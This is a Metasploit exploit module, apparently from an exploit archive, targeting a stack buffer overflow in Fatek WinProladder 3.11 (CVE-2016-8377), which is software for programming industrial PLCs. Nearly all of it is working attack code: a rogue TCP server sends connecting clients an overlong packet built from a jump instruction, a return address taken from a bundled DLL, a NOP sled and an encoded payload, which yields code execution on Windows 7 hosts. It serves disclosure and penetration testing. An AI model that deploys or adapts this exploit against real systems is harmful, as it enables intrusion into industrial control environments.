Fatek Automation PLC WinProladder 3.11 Build 14701 – Stack Buffer Overflow (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Fatek Automation PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client connects to a listening server. The client does not properly sanitize the length of the received input prior to placing it on the stack. }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZDI', '16-672' ], [ 'CVE', '2016-8377' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 EN', { # CC3250MT.dll # pop ecx/ pop ebp/ retn 'Ret' => 0x32514d79 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 15 2016')) register_options( [ OptPort.new('SRVPORT', [ true, "The port to listen on", 500]) ], self.class) end def on_client_data(client) p = payload.encoded pkt = "A" * 10000 pkt[1092, 4] = [0x04eb9090].pack('V') # jmp $+6 pkt[1096, 4] = [target.ret].pack('V') pkt[1100, 50] = "\x90" * 50 pkt[1150, p.length] = p client.put(pkt) handler service.close_client(client) end end |